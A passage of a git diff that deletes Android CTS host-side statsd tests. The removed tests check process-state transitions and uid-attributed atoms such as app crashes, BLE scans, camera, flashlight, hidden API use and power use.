-        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        popUntilFind(data, onStates, PROC_STATE_FUNCTION); // clear out initial proc states.
-        assertStatesOccurred(stateSet, data, 0, PROC_STATE_FUNCTION);
-    }
-
-    public void testBackground() throws Exception {
-        Set<Integer> onStates = BG_STATES;
-        Set<Integer> offStates = complement(onStates);
-
-        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
-        createAndUploadConfig(PROC_STATE_ATOM_TAG, false);  // False: does not use attribution.
-        Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
-
-        executeBackgroundService(ACTION_BACKGROUND_SLEEP);
-        final int waitTime = SLEEP_OF_ACTION_BACKGROUND_SLEEP;
-        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS + EXTRA_WAIT_TIME_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        popUntilFind(data, onStates, PROC_STATE_FUNCTION); // clear out initial proc states.
-        assertStatesOccurred(stateSet, data, waitTime, PROC_STATE_FUNCTION);
-    }
-
-    public void testTop() throws Exception {
-        Set<Integer> onStates = new HashSet<>(Arrays.asList(
-                ProcessStateEnum.PROCESS_STATE_TOP_VALUE));
-        Set<Integer> offStates = complement(onStates);
-
-        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
-        createAndUploadConfig(PROC_STATE_ATOM_TAG, false);  // False: does not use attribution.
-
-        Thread.sleep(WAIT_TIME_FOR_CONFIG_AND_SCREEN_MS);
-
-        executeForegroundActivity(ACTION_SLEEP_WHILE_TOP);
-        final int waitTime = SLEEP_OF_ACTION_SLEEP_WHILE_TOP;
-        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS + EXTRA_WAIT_TIME_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        popUntilFind(data, onStates, PROC_STATE_FUNCTION); // clear out initial proc states.
-        assertStatesOccurred(stateSet, data, waitTime, PROC_STATE_FUNCTION);
-    }
-
-    public void testTopSleeping() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        Set<Integer> onStates = new HashSet<>(Arrays.asList(
-                ProcessStateEnum.PROCESS_STATE_TOP_SLEEPING_VALUE));
-        Set<Integer> offStates = complement(onStates);
-
-        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
-        createAndUploadConfig(PROC_STATE_ATOM_TAG, false);  //False: does not use attribution.
-
-        turnScreenOn();
-        Thread.sleep(WAIT_TIME_FOR_CONFIG_AND_SCREEN_MS);
-
-        executeForegroundActivity(ACTION_SLEEP_WHILE_TOP);
-        // ASAP, turn off the screen to make proc state -> top_sleeping.
-        turnScreenOff();
-        final int waitTime = SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS;
-        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        popUntilFind(data, new HashSet<>(Arrays.asList(ProcessStateEnum.PROCESS_STATE_TOP_VALUE)),
-                PROC_STATE_FUNCTION); // clear out anything prior to it entering TOP.
-        popUntilFind(data, onStates, PROC_STATE_FUNCTION); // clear out TOP itself.
-        // reset screen back on
-        turnScreenOn();
-        // Don't check the wait time, since it's up to the system how long top sleeping persists.
-        assertStatesOccurred(stateSet, data, 0, PROC_STATE_FUNCTION);
-    }
-
-    public void testCached() throws Exception {
-        Set<Integer> onStates = CACHED_STATES;
-        Set<Integer> offStates = complement(onStates);
-
-        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
-        createAndUploadConfig(PROC_STATE_ATOM_TAG, false);  // False: des not use attribution.
-        Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
-
-        // The schedule is as follows
-        // #1. The system may do anything it wants, such as moving the app into a cache state.
-        // #2. We move the app into the background.
-        // #3. The background process ends, so the app definitely moves to a cache state
-        //          (this is the ultimate goal of the test).
-        // #4. We start a foreground activity, moving the app out of cache.
-
-        // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
-        executeBackgroundService(ACTION_END_IMMEDIATELY);
-        final int cacheTime = 2_000; // process should be in cached state for up to this long
-        Thread.sleep(cacheTime);
-        // Now forcibly bring the app out of cache (#4 above).
-        executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        // Now check the data *before* the app enters cache again (to avoid another cache event).
-
-        List<EventMetricData> data = getEventMetricDataList();
-        // First, clear out any incidental cached states of step #1, prior to step #2.
-        popUntilFind(data, BG_STATES, PROC_STATE_FUNCTION);
-        // Now clear out the bg state from step #2 (since we are interested in the cache after it).
-        popUntilFind(data, onStates, PROC_STATE_FUNCTION);
-        // The result is that data should start at step #3, definitively in a cached state.
-        assertStatesOccurred(stateSet, data, 1_000, PROC_STATE_FUNCTION);
-    }
-
-    public void testValidityOfStates() throws Exception {
-        assertWithMessage("UNKNOWN_TO_PROTO should not be a valid state")
-            .that(ALL_STATES).doesNotContain(ProcessStateEnum.PROCESS_STATE_UNKNOWN_TO_PROTO_VALUE);
-    }
-
-    /** Returns the a set containing elements of a that are not elements of b. */
-    private Set<Integer> difference(Set<Integer> a, Set<Integer> b) {
-        Set<Integer> result = new HashSet<Integer>(a);
-        result.removeAll(b);
-        return result;
-    }
-
-    /** Returns the set of all states that are not in set. */
-    private Set<Integer> complement(Set<Integer> set) {
-        return difference(ALL_STATES, set);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java
deleted file mode 100644
index 2fa4233..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import android.app.ProcessStateEnum; // From enums.proto for atoms.proto's UidProcessStateChanged.
-
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-import java.util.function.Function;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-
-/**
- * Base class for manipulating process states
- */
-public class ProcStateTestCase extends DeviceAtomTestCase {
-
-  private static final String TAG = "Statsd.ProcStateTestCase";
-
-  private static final String DEVICE_SIDE_FG_ACTIVITY_COMPONENT
-          = "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity";
-  private static final String DEVICE_SIDE_FG_SERVICE_COMPONENT
-          = "com.android.server.cts.device.statsd/.StatsdCtsForegroundService";
-
-  // Constants from the device-side tests (not directly accessible here).
-  public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
-  public static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
-  public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
-  public static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
-  public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
-
-  // Sleep times (ms) that actions invoke device-side.
-  public static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
-  public static final int SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP = 60_000;
-  public static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
-  public static final int SLEEP_OF_FOREGROUND_SERVICE = 2_000;
-
-
-  /**
-   * Runs an activity (in the foreground) to perform the given action.
-   * @param actionValue the action code constants indicating the desired action to perform.
-   */
-  protected void executeForegroundActivity(String actionValue) throws Exception {
-    getDevice().executeShellCommand(String.format(
-            "am start -n '%s' -e %s %s",
-            DEVICE_SIDE_FG_ACTIVITY_COMPONENT,
-            KEY_ACTION, actionValue));
-  }
-
-  /**
-   * Runs a simple foreground service.
-   */
-  protected void executeForegroundService() throws Exception {
-    executeForegroundActivity(ACTION_END_IMMEDIATELY);
-    getDevice().executeShellCommand(String.format(
-            "am startservice -n '%s'", DEVICE_SIDE_FG_SERVICE_COMPONENT));
-  }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
deleted file mode 100644
index 88d0f9a..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ /dev/null
@@ -1,2209 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static com.android.os.AtomsProto.IntegrityCheckResultReported.Response.ALLOWED;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.AppOpEnum;
-import android.net.wifi.WifiModeEnum;
-import android.os.WakeLockLevelEnum;
-import android.server.ErrorSource;
-import android.telephony.NetworkTypeEnum;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.util.PropertyUtil;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto;
-import com.android.os.AtomsProto.ANROccurred;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.AppCrashOccurred;
-import com.android.os.AtomsProto.AppOps;
-import com.android.os.AtomsProto.AppStartOccurred;
-import com.android.os.AtomsProto.AppUsageEventOccurred;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.AttributedAppOps;
-import com.android.os.AtomsProto.AttributionNode;
-import com.android.os.AtomsProto.AudioStateChanged;
-import com.android.os.AtomsProto.BinderCalls;
-import com.android.os.AtomsProto.BleScanResultReceived;
-import com.android.os.AtomsProto.BleScanStateChanged;
-import com.android.os.AtomsProto.BlobCommitted;
-import com.android.os.AtomsProto.BlobLeased;
-import com.android.os.AtomsProto.BlobOpened;
-import com.android.os.AtomsProto.CameraStateChanged;
-import com.android.os.AtomsProto.DangerousPermissionState;
-import com.android.os.AtomsProto.DangerousPermissionStateSampled;
-import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
-import com.android.os.AtomsProto.FlashlightStateChanged;
-import com.android.os.AtomsProto.ForegroundServiceAppOpSessionEnded;
-import com.android.os.AtomsProto.ForegroundServiceStateChanged;
-import com.android.os.AtomsProto.GpsScanStateChanged;
-import com.android.os.AtomsProto.HiddenApiUsed;
-import com.android.os.AtomsProto.IntegrityCheckResultReported;
-import com.android.os.AtomsProto.IonHeapSize;
-import com.android.os.AtomsProto.LmkKillOccurred;
-import com.android.os.AtomsProto.LooperStats;
-import com.android.os.AtomsProto.MediaCodecStateChanged;
-import com.android.os.AtomsProto.NotificationReported;
-import com.android.os.AtomsProto.OverlayStateChanged;
-import com.android.os.AtomsProto.PackageNotificationChannelGroupPreferences;
-import com.android.os.AtomsProto.PackageNotificationChannelPreferences;
-import com.android.os.AtomsProto.PackageNotificationPreferences;
-import com.android.os.AtomsProto.PictureInPictureStateChanged;
-import com.android.os.AtomsProto.ProcessMemoryHighWaterMark;
-import com.android.os.AtomsProto.ProcessMemorySnapshot;
-import com.android.os.AtomsProto.ProcessMemoryState;
-import com.android.os.AtomsProto.ScheduledJobStateChanged;
-import com.android.os.AtomsProto.SettingSnapshot;
-import com.android.os.AtomsProto.SyncStateChanged;
-import com.android.os.AtomsProto.TestAtomReported;
-import com.android.os.AtomsProto.UiEventReported;
-import com.android.os.AtomsProto.VibratorStateChanged;
-import com.android.os.AtomsProto.WakelockStateChanged;
-import com.android.os.AtomsProto.WakeupAlarmOccurred;
-import com.android.os.AtomsProto.WifiLockStateChanged;
-import com.android.os.AtomsProto.WifiMulticastLockStateChanged;
-import com.android.os.AtomsProto.WifiScanStateChanged;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.server.notification.SmallHash;
-import com.android.tradefed.log.LogUtil;
-
-import com.google.common.collect.Range;
-import com.google.protobuf.Descriptors;
-
-import java.io.File;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-import java.util.function.Function;
-import java.util.stream.Collectors;
-
-/**
- * Statsd atom tests that are done via app, for atoms that report a uid.
- */
-public class UidAtomTests extends DeviceAtomTestCase {
-
-    private static final String TAG = "Statsd.UidAtomTests";
-
-    private static final String TEST_PACKAGE_NAME = "com.android.server.cts.device.statsd";
-
-    private static final boolean DAVEY_ENABLED = false;
-
-    private static final int NUM_APP_OPS = AttributedAppOps.getDefaultInstance().getOp().
-            getDescriptorForType().getValues().size() - 1;
-
-    private static final String TEST_INSTALL_APK = "CtsStatsdEmptyApp.apk";
-    private static final String TEST_INSTALL_APK_BASE = "CtsStatsdEmptySplitApp.apk";
-    private static final String TEST_INSTALL_APK_SPLIT = "CtsStatsdEmptySplitApp_pl.apk";
-    private static final String TEST_INSTALL_PACKAGE =
-            "com.android.cts.device.statsd.emptyapp";
-    private static final String TEST_REMOTE_DIR = "/data/local/tmp/statsd";
-    private static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
-
-    private static final int WAIT_TIME_FOR_CONFIG_UPDATE_MS = 200;
-    private static final int EXTRA_WAIT_TIME_MS = 5_000; // as buffer when app starting/stopping.
-    private static final int STATSD_REPORT_WAIT_TIME_MS = 500; // make sure statsd finishes log.
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        resetBatteryStatus();
-        super.tearDown();
-    }
-
-    public void testLmkKillOccurred() throws Exception {
-        if (!"true".equals(getProperty("ro.lmk.log_stats"))) {
-            return;
-        }
-
-        final int atomTag = Atom.LMK_KILL_OCCURRED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag, false);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        executeBackgroundService(ACTION_LMK);
-        Thread.sleep(15_000);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        assertThat(data).hasSize(1);
-        assertThat(data.get(0).getAtom().hasLmkKillOccurred()).isTrue();
-        LmkKillOccurred atom = data.get(0).getAtom().getLmkKillOccurred();
-        assertThat(atom.getUid()).isEqualTo(getUid());
-        assertThat(atom.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-        assertThat(atom.getOomAdjScore()).isAtLeast(500);
-    }
-
-    public void testAppCrashOccurred() throws Exception {
-        final int atomTag = Atom.APP_CRASH_OCCURRED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag, false);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runActivity("StatsdCtsForegroundActivity", "action", "action.crash");
-
-        Thread.sleep(WAIT_TIME_SHORT);
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        AppCrashOccurred atom = data.get(0).getAtom().getAppCrashOccurred();
-        assertThat(atom.getEventType()).isEqualTo("crash");
-        assertThat(atom.getIsInstantApp().getNumber())
-            .isEqualTo(AppCrashOccurred.InstantApp.FALSE_VALUE);
-        assertThat(atom.getForegroundState().getNumber())
-            .isEqualTo(AppCrashOccurred.ForegroundState.FOREGROUND_VALUE);
-        assertThat(atom.getPackageName()).isEqualTo(TEST_PACKAGE_NAME);
-    }
-
-    public void testAppStartOccurred() throws Exception {
-        final int atomTag = Atom.APP_START_OCCURRED_FIELD_NUMBER;
-
-        createAndUploadConfig(atomTag, false);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runActivity("StatsdCtsForegroundActivity", "action", "action.sleep_top", 3_500);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        assertThat(data).hasSize(1);
-        AppStartOccurred atom = data.get(0).getAtom().getAppStartOccurred();
-        assertThat(atom.getPkgName()).isEqualTo(TEST_PACKAGE_NAME);
-        assertThat(atom.getActivityName())
-            .isEqualTo("com.android.server.cts.device.statsd.StatsdCtsForegroundActivity");
-        assertThat(atom.getIsInstantApp()).isFalse();
-        assertThat(atom.getActivityStartMillis()).isGreaterThan(0L);
-        assertThat(atom.getTransitionDelayMillis()).isGreaterThan(0);
-    }
-
-    public void testAudioState() throws Exception {
-        if (!hasFeature(FEATURE_AUDIO_OUTPUT, true)) return;
-
-        final int atomTag = Atom.AUDIO_STATE_CHANGED_FIELD_NUMBER;
-        final String name = "testAudioState";
-
-        Set<Integer> onState = new HashSet<>(
-                Arrays.asList(AudioStateChanged.State.ON_VALUE));
-        Set<Integer> offState = new HashSet<>(
-                Arrays.asList(AudioStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", name);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Because the timestamp is truncated, we skip checking time differences between state
-        // changes.
-        assertStatesOccurred(stateSet, data, 0,
-                atom -> atom.getAudioStateChanged().getState().getNumber());
-
-        // Check that timestamp is truncated
-        for (EventMetricData metric : data) {
-            long elapsedTimestampNs = metric.getElapsedTimestampNanos();
-            assertTimestampIsTruncated(elapsedTimestampNs);
-        }
-    }
-
-    public void testBleScan() throws Exception {
-        if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
-
-        final int atom = Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
-        final int field = BleScanStateChanged.STATE_FIELD_NUMBER;
-        final int stateOn = BleScanStateChanged.State.ON_VALUE;
-        final int stateOff = BleScanStateChanged.State.OFF_VALUE;
-        final int minTimeDiffMillis = 1_500;
-        final int maxTimeDiffMillis = 3_000;
-
-        List<EventMetricData> data = doDeviceMethodOnOff("testBleScanUnoptimized", atom, field,
-                stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, true);
-
-        BleScanStateChanged a0 = data.get(0).getAtom().getBleScanStateChanged();
-        BleScanStateChanged a1 = data.get(1).getAtom().getBleScanStateChanged();
-        assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
-        assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
-    }
-
-    public void testBleUnoptimizedScan() throws Exception {
-        if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
-
-        final int atom = Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
-        final int field = BleScanStateChanged.STATE_FIELD_NUMBER;
-        final int stateOn = BleScanStateChanged.State.ON_VALUE;
-        final int stateOff = BleScanStateChanged.State.OFF_VALUE;
-        final int minTimeDiffMillis = 1_500;
-        final int maxTimeDiffMillis = 3_000;
-
-        List<EventMetricData> data = doDeviceMethodOnOff("testBleScanUnoptimized", atom, field,
-                stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, true);
-
-        BleScanStateChanged a0 = data.get(0).getAtom().getBleScanStateChanged();
-        assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
-        assertThat(a0.getIsFiltered()).isFalse();
-        assertThat(a0.getIsFirstMatch()).isFalse();
-        assertThat(a0.getIsOpportunistic()).isFalse();
-        BleScanStateChanged a1 = data.get(1).getAtom().getBleScanStateChanged();
-        assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
-        assertThat(a1.getIsFiltered()).isFalse();
-        assertThat(a1.getIsFirstMatch()).isFalse();
-        assertThat(a1.getIsOpportunistic()).isFalse();
-
-
-        // Now repeat the test for opportunistic scanning and make sure it is reported correctly.
-        data = doDeviceMethodOnOff("testBleScanOpportunistic", atom, field,
-                stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, true);
-
-        a0 = data.get(0).getAtom().getBleScanStateChanged();
-        assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
-        assertThat(a0.getIsFiltered()).isFalse();
-        assertThat(a0.getIsFirstMatch()).isFalse();
-        assertThat(a0.getIsOpportunistic()).isTrue();  // This scan is opportunistic.
-        a1 = data.get(1).getAtom().getBleScanStateChanged();
-        assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
-        assertThat(a1.getIsFiltered()).isFalse();
-        assertThat(a1.getIsFirstMatch()).isFalse();
-        assertThat(a1.getIsOpportunistic()).isTrue();
-    }
-
-    public void testBleScanResult() throws Exception {
-        if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
-
-        final int atom = Atom.BLE_SCAN_RESULT_RECEIVED_FIELD_NUMBER;
-        final int field = BleScanResultReceived.NUM_RESULTS_FIELD_NUMBER;
-
-        StatsdConfig.Builder conf = createConfigBuilder();
-        addAtomEvent(conf, atom, createFvm(field).setGteInt(0));
-        List<EventMetricData> data = doDeviceMethod("testBleScanResult", conf);
-
-        assertThat(data.size()).isAtLeast(1);
-        BleScanResultReceived a0 = data.get(0).getAtom().getBleScanResultReceived();
-        assertThat(a0.getNumResults()).isAtLeast(1);
-    }
-
-    public void testHiddenApiUsed() throws Exception {
-        String oldRate = getDevice().executeShellCommand(
-                "device_config get app_compat hidden_api_access_statslog_sampling_rate").trim();
-
-        getDevice().executeShellCommand(
-                "device_config put app_compat hidden_api_access_statslog_sampling_rate 65536");
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        try {
-            final int atomTag = Atom.HIDDEN_API_USED_FIELD_NUMBER;
-
-            createAndUploadConfig(atomTag, false);
-
-            runActivity("HiddenApiUsedActivity", null, null, 2_500);
-
-            List<EventMetricData> data = getEventMetricDataList();
-            assertThat(data).hasSize(1);
-
-            HiddenApiUsed atom = data.get(0).getAtom().getHiddenApiUsed();
-
-            int uid = getUid();
-            assertThat(atom.getUid()).isEqualTo(uid);
-            assertThat(atom.getAccessDenied()).isFalse();
-            assertThat(atom.getSignature())
-                .isEqualTo("Landroid/app/Activity;->mWindow:Landroid/view/Window;");
-        } finally {
-            if (!oldRate.equals("null")) {
-                getDevice().executeShellCommand(
-                        "device_config put app_compat hidden_api_access_statslog_sampling_rate "
-                        + oldRate);
-            } else {
-                getDevice().executeShellCommand(
-                        "device_config delete hidden_api_access_statslog_sampling_rate");
-            }
-        }
-    }
-
-    public void testCameraState() throws Exception {
-        if (!hasFeature(FEATURE_CAMERA, true) && !hasFeature(FEATURE_CAMERA_FRONT, true)) return;
-
-        final int atomTag = Atom.CAMERA_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> cameraOn = new HashSet<>(Arrays.asList(CameraStateChanged.State.ON_VALUE));
-        Set<Integer> cameraOff = new HashSet<>(Arrays.asList(CameraStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(cameraOn, cameraOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testCameraState");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_LONG,
-                atom -> atom.getCameraStateChanged().getState().getNumber());
-    }
-
-    public void testCpuTimePerUid() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.CPU_TIME_PER_UID_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
-
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> atomList = getGaugeMetricDataList();
-
-        // TODO: We don't have atom matching on gauge yet. Let's refactor this after that feature is
-        // implemented.
-        boolean found = false;
-        int uid = getUid();
-        for (Atom atom : atomList) {
-            if (atom.getCpuTimePerUid().getUid() == uid) {
-                found = true;
-                assertThat(atom.getCpuTimePerUid().getUserTimeMicros()).isGreaterThan(0L);
-                assertThat(atom.getCpuTimePerUid().getSysTimeMicros()).isGreaterThan(0L);
-            }
-        }
-        assertWithMessage(String.format("did not find uid %d", uid)).that(found).isTrue();
-    }
-
-    public void testDeviceCalculatedPowerUse() throws Exception {
-        if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.DEVICE_CALCULATED_POWER_USE_FIELD_NUMBER, null);
-        uploadConfig(config);
-        unplugDevice();
-
-        Thread.sleep(WAIT_TIME_LONG);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        Atom atom = getGaugeMetricDataList().get(0);
-        assertThat(atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs())
-            .isGreaterThan(0L);
-    }
-
-
-    public void testDeviceCalculatedPowerBlameUid() throws Exception {
-        if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
-        if (!hasBattery()) {
-            return;
-        }
-
-        String kernelVersion = getDevice().executeShellCommand("uname -r");
-        if (kernelVersion.contains("3.18")) {
-            LogUtil.CLog.d("Skipping calculated power blame uid test.");
-            return;
-        }
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config,
-                Atom.DEVICE_CALCULATED_POWER_BLAME_UID_FIELD_NUMBER, null);
-        uploadConfig(config);
-        unplugDevice();
-
-        Thread.sleep(WAIT_TIME_LONG);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> atomList = getGaugeMetricDataList();
-        boolean uidFound = false;
-        int uid = getUid();
-        long uidPower = 0;
-        for (Atom atom : atomList) {
-            DeviceCalculatedPowerBlameUid item = atom.getDeviceCalculatedPowerBlameUid();
-                if (item.getUid() == uid) {
-                assertWithMessage(String.format("Found multiple power values for uid %d", uid))
-                    .that(uidFound).isFalse();
-                uidFound = true;
-                uidPower = item.getPowerNanoAmpSecs();
-            }
-        }
-        assertWithMessage(String.format("No power value for uid %d", uid)).that(uidFound).isTrue();
-        assertWithMessage(String.format("Non-positive power value for uid %d", uid))
-            .that(uidPower).isGreaterThan(0L);
-    }
-
-    public void testDavey() throws Exception {
-        if (!DAVEY_ENABLED ) return;
-        long MAX_DURATION = 2000;
-        long MIN_DURATION = 750;
-        final int atomTag = Atom.DAVEY_OCCURRED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag, false); // UID is logged without attribution node
-
-        runActivity("DaveyActivity", null, null);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertThat(data).hasSize(1);
-        long duration = data.get(0).getAtom().getDaveyOccurred().getJankDurationMillis();
-        assertWithMessage("Incorrect jank duration")
-            .that(duration).isIn(Range.closed(MIN_DURATION, MAX_DURATION));
-    }
-
-    public void testFlashlightState() throws Exception {
-        if (!hasFeature(FEATURE_CAMERA_FLASH, true)) return;
-
-        final int atomTag = Atom.FLASHLIGHT_STATE_CHANGED_FIELD_NUMBER;
-        final String name = "testFlashlight";
-
-        Set<Integer> flashlightOn = new HashSet<>(
-            Arrays.asList(FlashlightStateChanged.State.ON_VALUE));
-        Set<Integer> flashlightOff = new HashSet<>(
-            Arrays.asList(FlashlightStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(flashlightOn, flashlightOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", name);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getFlashlightStateChanged().getState().getNumber());
-    }
-
-    public void testForegroundServiceState() throws Exception {
-        final int atomTag = Atom.FOREGROUND_SERVICE_STATE_CHANGED_FIELD_NUMBER;
-        final String name = "testForegroundService";
-
-        Set<Integer> enterForeground = new HashSet<>(
-                Arrays.asList(ForegroundServiceStateChanged.State.ENTER_VALUE));
-        Set<Integer> exitForeground = new HashSet<>(
-                Arrays.asList(ForegroundServiceStateChanged.State.EXIT_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(enterForeground, exitForeground);
-
-        createAndUploadConfig(atomTag, false);
-        Thread.sleep(WAIT_TIME_SHORT);
